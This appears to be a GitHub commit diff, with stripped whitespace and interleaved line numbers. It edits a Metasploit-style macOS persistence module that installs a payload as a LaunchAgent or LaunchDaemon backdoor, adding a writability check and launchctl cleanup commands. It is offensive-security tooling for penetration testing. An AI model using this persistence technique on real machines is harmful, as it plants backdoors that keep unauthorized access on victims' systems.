You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
'SideEffects'=>[ARTIFACTS_ON_DISK,CONFIG_CHANGES,SCREEN_EFFECTS]# Pop-up on 13.7.4
48
55
}
49
56
)
50
57
)
@@ -61,9 +68,19 @@ def initialize(info = {})
61
68
[false,'Run the installed payload immediately.',false]),
62
69
OptEnum.new('LAUNCH_ITEM',[true,'Type of launch item, see description for more info. Default is LaunchAgent','LaunchAgent',%w[LaunchAgentLaunchDaemon]])
63
70
])
71
+
deregister_options('WritableDir')
72
+
end
73
+
74
+
defcheck
75
+
folder=File.dirname(backdoor_path).shellescape
76
+
folder=File.dirname(folder)
77
+
returnCheckCode::Safe("#{folder} not found")unlessexists?(folder)
78
+
returnCheckCode::Safe("#{folder} not writable")unlesswritable?(folder)
79
+
80
+
CheckCode::Appears("#{folder} is writable")
64
81
end
65
82
66
-
defexploit
83
+
definstall_persistence
67
84
check_for_duplicate_entry
68
85
69
86
iftarget['Arch'] == ARCH_PYTHON
@@ -78,8 +95,9 @@ def exploit
78
95
write_backdoor(payload_bin)
79
96
# Add plist file to LaunchAgents dir
80
97
add_launchctl_item
81
-
# tell the user how to remove the persistence if necessary
82
-
list_removal_paths
98
+
@clean_up_rc << "rm #{plist_path}\n"
99
+
@clean_up_rc << "execute -f /bin/launchctl -a \"stop #{File.basename(backdoor_path)}\"\n"
100
+
@clean_up_rc << "execute -f /bin/launchctl -a \"remove #{File.basename(backdoor_path)}\"\n"\
0 commit comments